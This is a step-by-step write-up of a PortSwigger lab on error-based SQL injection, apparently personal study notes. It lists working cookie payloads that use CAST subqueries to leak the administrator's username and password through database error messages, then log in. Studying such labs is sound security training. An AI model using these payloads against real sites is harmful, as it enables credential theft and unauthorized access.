[This lab](https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based) demonstrates a classic **error-based SQL injection** vulnerability where the full SQL query and error messages are reflected in the response. By crafting queries that trigger specific SQL errors, we can extract column values (like the `administrator`'s password) directly into the error output. ##### Step 1: Identify the Injection Point 1. Visit the lab homepage 2. Go to **Proxy → HTTP history** 3. Find the `GET /` request with the cookie: ``` TrackingId=ogAZZfxtOKUELbuJ ``` 4. Send this request to **Repeater** --- ##### Step 2: Trigger a Syntax Error Append a single quote to the cookie value: ``` TrackingId=ogAZZfxtOKUELbuJ' ``` ✅ You get a **verbose SQL error**, showing: - Full SQL query - Error: _unclosed string literal_ - Confirms: injection is inside a single-quoted string ![[CleanShot 2025-04-17 at 22.24.59.png]] --- ##### Step 3: Neutralize the Broken Syntax Add a SQL comment to terminate the string and discard the rest of the query: ``` TrackingId=ogAZZfxtOKUELbuJ'-- ``` ✅ Error disappears → query is syntactically valid again --- ##### Step 4: Inject a SELECT Subquery with Typecast Test a simple value: ``` TrackingId=ogAZZfxtOKUELbuJ' AND CAST((SELECT 1) AS int)-- ``` ❌ New error: _AND condition must be boolean_ → Fix by adding `= 1`: ``` TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT 1) AS int)-- ``` ✅ No error → injection is valid and running --- ##### Step 5: Attempt to Extract Data Now try: ``` TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT username FROM users) AS int)-- ``` ❌ Truncated query or type error due to: - Cookie length limit - Non-integer value being cast --- ##### Step 6: Simplify the Cookie to Save Space Remove the original cookie value: ``` TrackingId=' AND 1=CAST((SELECT username FROM users) AS int)-- ``` ❌ Still returns error due to multiple rows --- ##### Step 7: Limit the Query to One Row Add `LIMIT 1` to avoid multi-row error: ``` TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)-- ``` ✅ Error output reveals: ``` ERROR: invalid input syntax for type integer: "administrator" ``` → You've leaked the first username (`administrator`) ![[CleanShot 2025-04-17 at 22.26.22.png]] --- ##### Step 8: Extract the Password Replace `username` with `password`: ``` TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)-- ``` ✅ Error reveals password string for `administrator` ![[CleanShot 2025-04-17 at 22.26.55.png]] --- ##### Step 9: Log In and Solve 1. Go to the login page 2. Log in as: - Username: `administrator` - Password: _(leaked password)_ 3. ✅ **Lab solved**